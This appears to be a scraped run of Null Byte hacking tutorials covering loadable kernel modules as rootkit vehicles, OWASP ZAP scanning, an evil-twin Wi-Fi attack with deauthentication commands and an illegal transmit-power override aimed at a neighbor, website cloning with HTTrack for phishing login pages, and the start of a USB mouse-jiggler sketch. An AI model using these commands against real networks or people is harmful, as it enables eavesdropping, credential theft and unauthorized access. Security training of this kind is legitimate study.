To:Remove Facebook Ads from Internet Explorer 10 on Your Microsoft SurfaceHow To:Make your own catfish chumHow To:Make a catfish sandwich with Food NetworkHow To:Galaxy Vibrates Randomly? Use This App to Figure Out WhyHow To:Siri & Shazam Team Up to Help You Identify Songs Quicker on Your iPhone in iOS 8How To:Turn JavaScript on in Internet ExplorerHow To:Shorten links with bit.lyNews:Verizon Is Giving Away the iPhoneXSvia Snapchat AR Scavenger HuntHow To:Yahoo! Ignores IE10's "Do Not Track" Option in Windows 8βStop Them with These Add-OnsNews:Catfish (2010)The Anonymous Search Engine:How to Browse the Internet Without Being TrackedHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebHow To:Fish for catfish using flavored dip bait pasteHow To:Bait a Hook with Catfish Punch BaitNews:OutrightNews:Convicted Pervert Back in Jail for Internet Luring in SCRABBLE Chat RoomNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebHow To:Criminal Psychology - how stalkers and pedophiles can use the internet to track youNews:SEO - Ugly Vs Popular - Just Like Highschool!How To:A Hitchhiker's Guide to the Internet: A Brief History of How the Net Came to BeNews:Robot Unicorn AttackNews:Building Links With OnlywireNews:Was Google Reader Already a Great Google Social Network?News:Affiliate Marketing Can Be A Good Way To Earn Money On The InternetNews:Catch Me If You CanHow To:Use Google's New Privacy Tools to Stop Them from Tracking YouNews:Juggling Enhances Connections In The BrainHow To:Create a Super Speed Track in MinecraftNews:A WORD TO THE WISE ABOUT REMOVING INTERNET EXPLORER |
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules) Β« Null Byte :: WonderHowTo | Welcome back, my budding hackers!In my continuing series onLinux basics for aspiring hackers, I now want to address Loadable kernel modules (LKMs), which are key to the Linux administrator because they provide us the capability to add functionality to the kernel without having to recompile the kernel. Things like video and other device drivers can now be added to the kernel without shutting down the system, recompiling, and rebooting.Loadable kernel modules are critical to the hacker because if we can get the Linux admin to load a new module to their kernel, we not only own their system, but because we are at the kernel level of their operating system, we can control even what their system is reporting to them in terms of processes, ports, services, hard drive space, etc.So, if we can offer the Linux user/admin a "new and improved" video driver with ourrootkitembedded in it, we can take control of his system and kernel. This is the way some of the most insidious rootkits take advantage of the Linux OS.So, I hope it's clear that understanding LKMs is key to being an effective Linux admin and being a VERY effective and stealthy hacker.Step 1: What Is a Kernel Module?The kernel is a core component of any Linux operating system, including ourBackTrack System. The kernel is the central nervous system of our operating system, controlling everything an operating system does, including managing the interactions between the hardware components and starting the necessary services. The kernel operates between user applications and the hardware such as the CPU, memory, the hard drive, etc.As the kernel manages all that is taking place with the operating system, sometimes it needs updates. These updates might include new device drivers (such as video card or USB devices), file system drivers, and even system extensions. This is where LKMs come in. We can now simply load and unload kernel modules as we need them without recompiling the kernel.Step 2: Checking the KernelThe first thing we want to do is check to see what kernel our system is running. There are at least two ways to do this. We can type:uname -aNote that the kernel tells us its kernel build (2.6.39.4), but also the architecture it is built for (x86_64). We can also get this info by "catting" the /proc/version file, which actually gives up even more info.cat /proc/versionStep 3: Kernel Tuning with SysctlSometimes, a Linux admin will want to "tune" the kernel. This might include changing memory allocations, enabling networking feature, and even hardening the kernel from hackers.With modern Linux kernels, we have thesysctlcommand to tune kernel options. All changes you make with the sysctl remain in effect only until you reboot the system. To make any changes permanent, the configuration file for sysctl must be edited at /etc/sysctl.conf.Be careful in using systctl because without the proper knowledge and experience, you can easily make your system unbootable and unusable. Let's take a look at the contents of sysctl now.sysctl -a |lessTo view the configuration file for sysctl, we can get it at /etc/sysctl.conf.less /etc/sysctl.confOne of the ways we may want to use sysctl for hacking is to enable ipforwarding (net.ipv4.conf.default.forwarding) forman-in-the-middle attacks. From a hardening perspective, we can disable ICMP echo requests (net.ipv4.icmp_echo_ignore_all) so as to make more difficult, but not impossible, for hackers to find our system.Step 4: Kernel ModulesTo manage our kernels, Linux has at least two ways to do it. The older way is to use a group of commands built around theinsmodcommand. Here we use one of thoseβlsmodβto list the installed modules in kernel.lsmodWe can load or insert a module withinsmodand remove a module withrmmod.Step 5: ModprobeMost newer distributions of Linux, including our BackTrack 5v3, have converted to themodprobecommand for LKM management. To see what modules are installed in our kernel, we can type:modprobe -lTo remove a module, we simply use the -r switch with modprobe.modprobe -rA major advantage of modprobe is that understands dependencies, options, and installation and removal procedures for our kernel modules.To see configuration files for the installed modules, we list the contents of the /etc/modprobe.d/ directory.ls -l /etc/modprobe.d/Remember, the LKM modules are a convenience to a Linux user/admin, but are a major security weakness of Linux and one the professional hacker should be familiar with. As I said before, the LKM can be the perfect vehicle to get your rootkit into the kernel and wreak havoc!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePenguin imagevia ShutterstockRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 24 (The Linux Philosophy)Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1How to Hack Like a Pro:Getting Started with MetasploitCompile a Linux Kernel Part 1:Theory...a Lot of Theory (1/2)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)News:Even Microsoft Acknowledges the Superiority of the Bash Shell NowHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPNews:Linux Kernel Exploits Aren't Really an Android ProblemHack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 23 (Logging)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)How To:Find Exploits & Get Root with Linux Exploit SuggesterHow To:Get Packet Injection Capable Drivers in LinuxGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Get Your AMD Graphics, Sound & Other Drivers to Work in Linux on Your LaptopHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:Backtrack 5 R2, 3.2.6 Linux KernalGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker Training |
Hack Like a Pro: How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities) Β« Null Byte :: WonderHowTo | Welcome back, my tenderfoot hackers!Web appsare often the best vector to an organization's server/database, an entry point to their entire internal network. By definition, the web app is designed to take an input from the user and send that input back to the server or database. In this way, the attacker can send their malicious input back to the servers and network if the web app is not properly secured.OWASPis the Open Web Application Security Project, a vendor-neutral, non-profit group of volunteers dedicated to making web apps more secure. As such, they publish theirOWASP Top 10to showcase the most critical vulnerabilities, and have designedWebGoat, a deliberately vulnerable web application for teaching and testing web app security. As part of this effort, they have also developed theOWASP Zed Attack Proxy(ZAP) tool.OWASP ZAP is a Java-based tool for testing web app security. It has an intuitive GUI and powerful features to do such things as fuzzing, scripting, spidering, proxying and attacking web apps. It is also extensible through a number of plugins. In this way, it is an all-in-one web app testing tool. OWASP ZAP might even become your go-to web app testing tool once you get the hang of it.In this tutorial, we will take a look at this powerful and versatile tool.Step 1: Fire Up KaliLet's begin in the usual wayβby firing upKali. In this tutorial, I will be using Kali 2.0 as so many of you are now using it, although I still have my reservations. Earlier versions of Kali also have OWASP ZAP, so if you are using those, you can also follow this tutorial.Step 2: Start OWASP ZAPIf you want to start OWASP ZAP from the command line, you can simply type:kali > owasp-zapThis should start the application as seen below. It's slow, so be patient.For those who prefer the GUI approach, go to Applications -> Web Application Analysis -> owasp-zap. Again, be patient, as it will take awhile to load the tool.The first thing you will see is the license. Go ahead and accept the terms if you feel comfortable with them. This is a standard Apache license.Step 3: The OWASP ZAP InterfaceWhen OWASP ZAP eventually opens, it should look like the screenshot below. This tool has many powerful features, but initially, we will only try out its "Attack" function in the large right-hand window. In this mode, OWASP ZAP aggressively goes to the website we designate and begins to look for vulnerabilities.Step 4: Attacking a WebsiteIn this first tutorial, let's test a website initially left vulnerable and safe to test,webscantest.com. Put the URL in the space next to "URL to attack" and then simply click on the "Attack" button below it.OWASP ZAP will now begin to spider and test the web application for numerous vulnerabilities.Step 5: Attack Results & AlertsWhen it has completed its work (this can be considerable time for large websites), you should see a screen like that below.As you can see in the lower left window, OWASP ZAP has sent us 8 alerts. These alerts are categorized by the type of vulnerability. In this case, these are:Cross Site ScriptingRemote OS Command InjectionDirectory BrowsingX-Frame-Options Header Not SetCookie set without HttpOnly flagPassword Autocomplete in browserWeb Browser XSS Protection Not EnabledX-Content-Type-Options Header MissingNext to each category of alert is a number that represents the number of occurrences of that type of vulnerability. If you click on the arrow next to the alert, it will expand to show you each occurrence of the vulnerability.In the screenshot above, I first clicked on the alert "Cross Site Scripting" and it opened a window with information on it to the right reflecting the application's assessment of the risk (High) and confidence (Medium). Then, I expanded the alert to show each of the XSS vulnerabilities in this web app.The next step, of course, is to test each of the reported vulnerabilities to see whether they are real.Step 6: Install the Proxy into FirefoxFor ease of use, we can install the "Plug-n-Hack" extension in Firefox 24 or later browsers (Iceweasel, the default browser in Kali, is a fork of the Mozilla Firefox project). From the Quick Start menu, you can see the "Plug-n-Hack" button. Simply click on it to install the extension into your browser.Iceweasel will open with the following screen. Go ahead and select "Click to setup!"You will get a warning like that below; go ahead and click "Allow."Finally, go ahead and install the add-on to your browser.Now, you can just use your browser and whatever website you are visiting will be automatically available to the OWASP ZAP application.Infuture tutorials, we will further explore the capabilities of this powerful web app testing application, so keep coming back my tenderfoot hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Abuse Session Management with OWASP ZAPHow To:Beginner's Guide to OWASP Juice Shop, Your Practice Hacking Grounds for the 10 Most Common Web App VulnerabilitiesHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)Hack Like a Pro:How to Find Website Vulnerabilities Using WiktoHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Hack web browsers with BeEFHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:How to Find the Latest Exploits and VulnerabilitiesβDirectly from MicrosoftHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Expand Your Coding Skill Set with This 10-Course Training BundleAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootWhite Hat Hacking:Hack the Pentagon?How To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISHack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7How To:Hack websites using cross-site scripting (XSS)Hack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHIOB:WebSite Hacking Series Part 2: Hacking WebSites Using The DotNetNuke VulnerabilityHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHow To:Top 10 Exploit Databases for Finding VulnerabilitiesNews:iOS 11.1 Is Officially Out, Includes New Emojis, App Switching Gesture & MoreHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHow To:Learn to Code Your Own Games with This Hands-on BundleHow To:Hack Apache Tomcat via Malicious WAR File UploadHow To:The Art of 0-Day Vulnerabilities, Part3: Command Injection and CSRF VulnerabilitiesHow To:Fix Your Hacked and Malware-Infested Website with GoogleNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:The Official Google+ Insider's Guide IndexHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Hack Coin-Operated Laudromat Machines for Free Wash & Dry CyclesHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateHow To:Hack websites with SQL injection and WebGoat |
How to Hack Wi-Fi: Creating an Evil Twin Wireless Access Point to Eavesdrop on Data Β« Null Byte :: WonderHowTo | Welcome back, my greenhorn hackers!Now that we're familiar with thetechnologies, terminology, and theaircrack-ng suite, we can finally start hacking Wi-Fi.Our first task will be to creating anevil twin access point. Many new hackers are anxious tocrack Wi-Fi passwordsto gain some free bandwidth (don't worry, we'll get to that), but there are so many other Wi-Fi hacks that are far more powerful and put so much more at risk than a bit of bandwidth.What's an Evil Twin AP?The evil twin AP is an access point that looks and acts just like a legitimate AP and entices the end-user to connect toouraccess point. Ouraircrack-ng suitehas a tool,airbase-ng, that can be used to convertour wireless adapterinto an access point. This is a powerful client-side hack that will enable us to see all of the traffic from the client and conduct a man-in-the middle attack.What We'll Be DoingIn this scenario, we are a private investigator. We've been asked by a client to investigate the possibility that their neighbor is downloading and selling child pornography. They've asked us to investigate and determine whether he actually is, and if so, to collect evidence.Step 1: Start Airmon-NgFirst , we need to check whether our wireless card is operational.bt > iwconfigAs we can see, our wireless card is operational and has been assigned wlan0. Our next step is to put our wireless card into monitor or promiscuous mode. We can do this simply by:bt >airmon-ng start wlan0Airmon-ng has put our wireless into monitor mode and renamed it to mon0. Now our wireless card is capable of seeing all the wireless traffic.Step 2: Start Airdump-NgOur next step is to begin capturing traffic on our wireless card. We do this by typing:bt > airodump-ng mon0We can see all the wireless access points in our range along with all their vital statistics. The neighbor that we suspect of downloading and selling child porn is on an AP with the SSID "Elroy."If we do everything right, we can clone his AP and get him to connect to our evil twin. When he does that, we'll be able to see all of his traffic, as well as potentially inserting our own packets/messages/code into his computer.Step 3: Wait for the Suspect to ConnectNow we just wait for the suspect to connect to his wireless access point. When he does, it will appear in the lower part of the airodump-ng screen.Step 4: Create a New AP with Same SSID & MAC AddressOnce he has connected to his AP, we can use airbase-ng to create a fake, or evil twin, of his AP. We can do this by opening a new terminal and typing:bt > airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 11 mon0Where00:09:5B:6F:64:1Eis the BSSID,Elroyis the SSID, and -c 11is the channel of the suspect's AP.Step 5: Deauthentication or Bumping Him OffOur next step is tobump the "neighbor" offhis access point. The 802.11 standard has a special frame called deauthentication that, as you might expect, deauthenticates everyone on the access point. When his computer tries to re-authenticate, he will automatically reconnect to the strongest AP with the ESSID of "Elroy."We can do this by using aireplay-ng with the deauth packet:bt > aireplay-ng --deauth 0 -a 00:09:5B:6F:1ENote that we once again used his BSSID in the aireplay-ng command. If our signal is stronger than his own AP, he will automatically reconnect to our evil twin!Step 6: Turn Up the Power!The crucial link in the evil twin hack is to make certain that our fake AP is closer or stronger than the original or authentic AP. This could be a critical weakness when physical access is unavailable. In airports and other public places, this is no problem, but in our scenario here, we don't have physical access and it's very likely that his AP is closer and stronger than ours. Don't let this deter us!First, we can turn up the power on our access point in attempt to be stronger than his. Even next door, this may work as most access points automatically down-regulate their power to the minimum necessary to maintain a connection to its clients. We can boost our AP to maximum power by typing;iwconfig wlan0 txpower 27This command will boost our power output to the maximum legally allowable in the United States, 27 dBm or 500 milliwatts.In some cases, even boosting power to 500 mWs may prove to be inadequate. If we try to turn up the power to the maximum on our Alfa wireless cardsβ1,000 mWs or 30 dBmβwe get the error message below (some of the newer cards can actually transmit at 2,000 mWs or four times what is legally allowable in the U.S.).iwconfig wlan0 txpower 30Note: This next step is illegal in the U.S., so be careful using it unless you have specific permission or are a member of law enforcement.Every nation has its own set of Wi-Fi regulations. Some allow more power and more channels than the U.S. For instance, Bolivia allows the use of channel 12 and a full 1,000 mWs of power. We can get our Alfa card to use Bolivian regulations by simply typing:iw reg set BONow that we are in Bolivian regulatory domain, we can boost our power to its maximum by typing:iwconfig wlan0 txpower 30Check output power by typing:iwconfigAnd we can now see at the end of the second line that our power is now up to 30 dBm or 1000 milliwatts, enough to overwhelm all the other local access points even from several houses away!The Evil Twin Is Now WorkingNow that we have our neighbor connected to our AP, we can take the next steps toward detecting his activity.We can use software likeEttercapto conduct a man-in-the middle attack. This way, we can intercept, analyze, and even inject traffic to this user. In other words, because he has connected to our AP, we have almost total access to his data both coming and going. If he really is downloading or selling child porn, we can intercept it.We also should be able to intercept email and passwords to other applications and networks. We could even inject ameterpreterorother listenerinto his system for further access and control.Stay Tuned...Make sure to check back on ourWi-Fi Hackingseries, because even more wireless hacks are coming! If you have any questions, please comment below or start a discussion in theNull Byte forumand we'll try to help you out.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRouter,magnifying glass, andwireless access pointphotos via ShutterstockRelatedHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Create an Evil Access Point with MitmAPHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Spy on Network Relationships with Airgraph-NgHow To:Build a Pumpkin Pi β The Rogue AP & MITM Framework That Fits in Your PocketHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3Hack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network βUndetectedAndroid Basics:How to Connect to a Wi-Fi NetworkHow to Hack Wi-Fi:Capturing WPA Passwords by Targeting Users with a Fluxion AttackHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Hack Open Hotel, Airplane & Coffee Shop Wi-Fi with MAC Address SpoofingHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow to Hack Wi-Fi:DoSing a Wireless AP ContinuouslyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItHow to Hack Wi-Fi:Performing a Denial of Service (DoS) Attack on a Wireless Access PointNews:Traveling Abroad? Here Are 6 Reasons Google Fi Is the Best OptionHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestNews:Evil Twin(Part 3) - the Full Bash ScriptHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Get Free Wi-Fi from Hotels & MoreHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceNews:Secure Your Wireless Network from Pillage and Plunder in 8 Easy StepsNews:PSP2 (Next Generation Portable) or NGP |
Hack Like a Pro: How to Clone Any Website Using HTTrack Β« Null Byte :: WonderHowTo | Welcome back, my hacker novitiates!Recently, I demonstrated a hack where you couldredirect traffic intended for one site, such as bankofamerica.com, to your fake website. Of course, to really make this work, you would need to make a replica of the site you were spoofing, or better yet, you could simply simply make a copy of the original site and host it on your own server!HTTrackis just the tool for doing that.HTTrack takes any website and makes a copy to your hard drive. This can be useful for searching for data on the website offline such as email addresses, information useful for social engineering, hidden password files (believe me, I have found a few), intellectual property, or maybe replicating a login page for aEvil Twinsite to capture login credentials.Unfortunately, HTTrack is not included inKali, so we will need to download and install it. Fortunately, though, it is included in the Kali repository, so all we need to do is open the software repository and download and install it.HTTrack comes in both a Windows and a Linux version. For those of you who refuse to take off the training wheels, you can download and installHTTrack for Windowson its website.Step 1: Download & Install HTTrackFrom Kali, we need to navigate to "System Tools" and then "Add/Remove Software," like in the screenshot below.That will open a screen like the one below. Notice the window in the upper left-hand corner next to the "Find" button. Enter "httrack" there and it will find the packages you need to install HTTrack.You can also install it by typing the following in a terminal.kali > apt-get install httrackStep 2: Use HTTrackNow that we have installed HTTrack, let's start by looking at the help file for HTTrack. When you downloaded and installed HTTrack, it placed it in the/usr/bindirectory, so it should be accessible from any directory in Kali as/usr/binis in the PATH variable. Let's type:kali > httrack --helpI've highlighted the key syntax line in the screenshot above. The basic syntax is the following, where-Ostands for "output." This switch tells HTTrack where to send the website to.kali > httrack <the URL of the site> [any options] URL Filter -O <location to send copy to>Using HTTrack is fairly simple. We need only point it at the website we want to copy and then direct the output (-O) to a directory on our hard drive where we want to store the website. One caution here, though. Some sites are HUGE. If you tried to copy Facebook to your hard drive, I can guarantee you that you do not have enough drive space, so start small.Step 3: Test HTTrackIn an earlier tutorial onhacking MySQL databasesbehind websites (MySQL is the most widely used database backend behind websites), we used a website that we could hack with impunity calledwebscantest.com. Let's try to make a copy of that site to our hard drive.kali > httrackhttp://www.webscantest.com-O /tmp/webscantestAs you can see, we successfully made a copy of all the pages of this site on our hard drive.Step 4: Explore the Site CopyNow that we have captured and copied the entire site to our hard drive, let's take a look at it.We can open the IceWeasel browser (or any browser) and view the contents of our copied site to the location on our hard drive. Since we copied the web site to/tmp/webscantest, we simply point our browser there and can view all the content of the website! If we point it to/tmp/webscantest/www.webscantest.com/login.html, we can see that we have an exact copy of the login page!Hmmm...what could we possibly use that for???Step 5: Copy Our Favorite Web SiteNow, let's try HTTrack on our favorite website, wonderhowto.com. Let's try to make a copy of a forum post I wrote last week about the CryptoLocker hack. First, let's open that pageright hereand copy the address into Kali after the HTTrack command and then the location where you want send the copy to.kali> httrackhttps://null-byte.wonderhowto.com/forum/cryptolocker-innovative-creative-hack-0151753/-O /tmp/crytolocYou can send the copied website to any location, but I sent mine to/tmp/crytoloc. When we do so, HTTrack will go intoNull Byte, grab that webpage, and store an exact copy of it on your hard drive. Notice it also tells us that it is 208 bytes.As you can see below, we were able to copy my Null Byte article on CryptoLocker to my Kali hard drive and open an exact copy of it with my browser.If you are trying to find information about a particular company for social engineering or trying to spoof a website or login, HTTrack is an excellent tool for both tasks. Many of you have been asking about how to create a clone website fordnsspoofor grab credentials for anEvil Twin, now you have the tool to do so!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseOriginallaptopimage via ShutterstockRelatedHow To:Download websites for offline viewing with HttrackHow To:Grab Syl Flores's Site using HTTRACK & WiresharkWeb Prank:Create Your Own Legit-Looking News Stories by Editing Current Ones OnlineHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)How To:Quickly Look Up the Valid Subdomains for Any WebsiteHack Like a Pro:How to Hack Like the NSA (Using Quantum Insert)How To:Phish Social Media Sites with SocialFishHow To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Clone Macbook Pro Hard Drive to SSDHow To:Easily Generate Hundreds of Phishing DomainsHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:Facebook Credentials RevisitedHow To:Clone yourself with Final Cut Pro or ExpressHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)How To:The Safest Way to Disable ALL Bloatware on Your Galaxy S10The Clone Wars:The Russians Flirt with Instagram & Fake Follower Vending MachinesHow To:Talk to yourself with the help of Final Cut ProHow To:Achieve a cloning effect in Final Cut Express/ProHow To:Make Copies of Your Apps to Stay Logged into Multiple Accounts at OnceHow To:The Official Google+ Insider's Guide IndexNews:Extra Income From BloggingNull Byte:Never Let Us DieNews:Anonymous Hackers Replace Police Supplier Website With βTribute to Jeremy HammNews:Branches of Government-JudicialCamera Plus Pro:The iPhone Camera App That Does it All |
Create a USB Mouse Jiggler to Keep a Target Computer from Falling Asleep (& Prank Friends Too) Β« Null Byte :: WonderHowTo | While obvious, it's a lot more difficult to hack into a locked computer than an unlocked computer. As a white-hat hacker, pentester, cybersecurity specialist, or someone working in digital forensics, there's an easy solution β make it so that the computer won't fall asleep and lock automatically in the first place.One way to stop a laptop or desktop computer from sleeping into a locked state is to use a mouse jiggler. It's a tactic used frequently by law enforcement to avoid having to get a password for the account later when examining the data for evidence. The suspect will likely not give up the credentials, but if the suspect was caught off-guard during a raid, a mouse jiggler could be planted quickly to make sure the computer doesn't doze off, avoiding the need for a password altogether.Don't Miss:How to Run USB Rubber Ducky Scripts on a Digispark BoardA mouse jiggler simply moves the mouse pointer or cursor around just enough to keep the operating system in an active state. There are mouse jigglers that can be purchased online that are ready to go, such as ones fromAFK TECH,CRU,HONKID(it hasmultiple ones),JEDIA,Punkdig,Qualitrusty,Reliabest, andVAYDEER(also withmultipleversions). Still, it's much more fun to build your own.Inpreviousarticles,we'veshownhow to use aDigispark, an ATtiny 85-based microcontroller development board, to mimic a keyboard to input keystrokes on a computer. And we'll be using the same board to create a mouse jiggler. You could also turn it into an auto-clicker, but we'll be showing you how to code it to jiggle the mouse pointer endlessly to avoid the screensaver kicking in.RequirementsAs mentioned already, you'll need a Digispark MCU, which will plug directly into a USB port on the target machine. Here are some options available on Amazon:Digispark - 1 unit for almost $6(4 stars, 8 ratings)Digispark - 1 unit for almost $10(4.7 stars, 5 ratings)Digispark - 2 units for almost $10(5 stars, 1 rating)Digispark - 2 units for about $12(3.7 stars, 7 ratings)Digispark - 3 units for about $8(5 stars, 48 ratings)Digispark - 5 units for about $10(5 stars, 1 rating)Digispark - 5 units for about $11(4.5 stars, 60 ratings)Digispark - 5 units for about $11(4.2 stars, 24 ratings)Digispark - 6 units for about $12(5 stars, 1 rating)You'll also need the Arduino IDE, the software we'll be using to program the Digispark. You can download it for Linux, macOS, and Windows fromArduino's website. Once you've downloaded it, install it, and we're ready to go!The InspirationOur project was inspired bya mouse jiggler developed by James Franklin. It's a really cool example because it shows one way that you can implement it, where the movement is so subtle that the average person would probably never notice it. It would keep the screen unlocked indefinitely, provided you could plug the Digispark in somewhere where it wouldn't be noticed, like at the back of a desktop tower or a monitor connected to the USB grid. With it hidden, it could run forever and keep the computer always unlocked unless the user logs out manually.Here, we'll be using a slightly modified script, one where it's super obvious that the mouse is moving, for demonstration purposes. You could even have some real fun with this, making it so that the mouse moves at random intervals so that whoever is using the computer will wonder why their mouse pointer keeps jumping across the screen and moving erratically. It'd be a fun prank to play on a friend or coworker.Step 1: Get the Modified Mouse Jiggler CodeBefore we configure Arduino IDE to work with the Digispark, we'll need the modified code. In Arduino IDE, click on "File," then "New," if a new sketch isn't already open, and paste the following code into the body. You could alsofind and download the modified code from GitHub.// Digispark Mouse Jiggler
// Written by James Franklin for Air-Gap in 2019
// www.air-gap.com.au
// Modified by Kody Kinzie of Null Byte
// https://github.com/skickar/USBAttackWorkshop/blob/master/MouseJigglerBIG.ino
#include <DigiMouse.h>
unsigned int LowerCycleTime = 500; //Minimum Time in milli-seconds between each mouse action Default: 10000 (10 Seconds), Max 65535ms
unsigned int UpperCycleTime = 1000; //Maximum Time in milli-seconds between each mouse action Default: 30000 (30 Seconds), Max 65535ms
//Random Function will randomly execute a mouse move between these two values
void setup() {
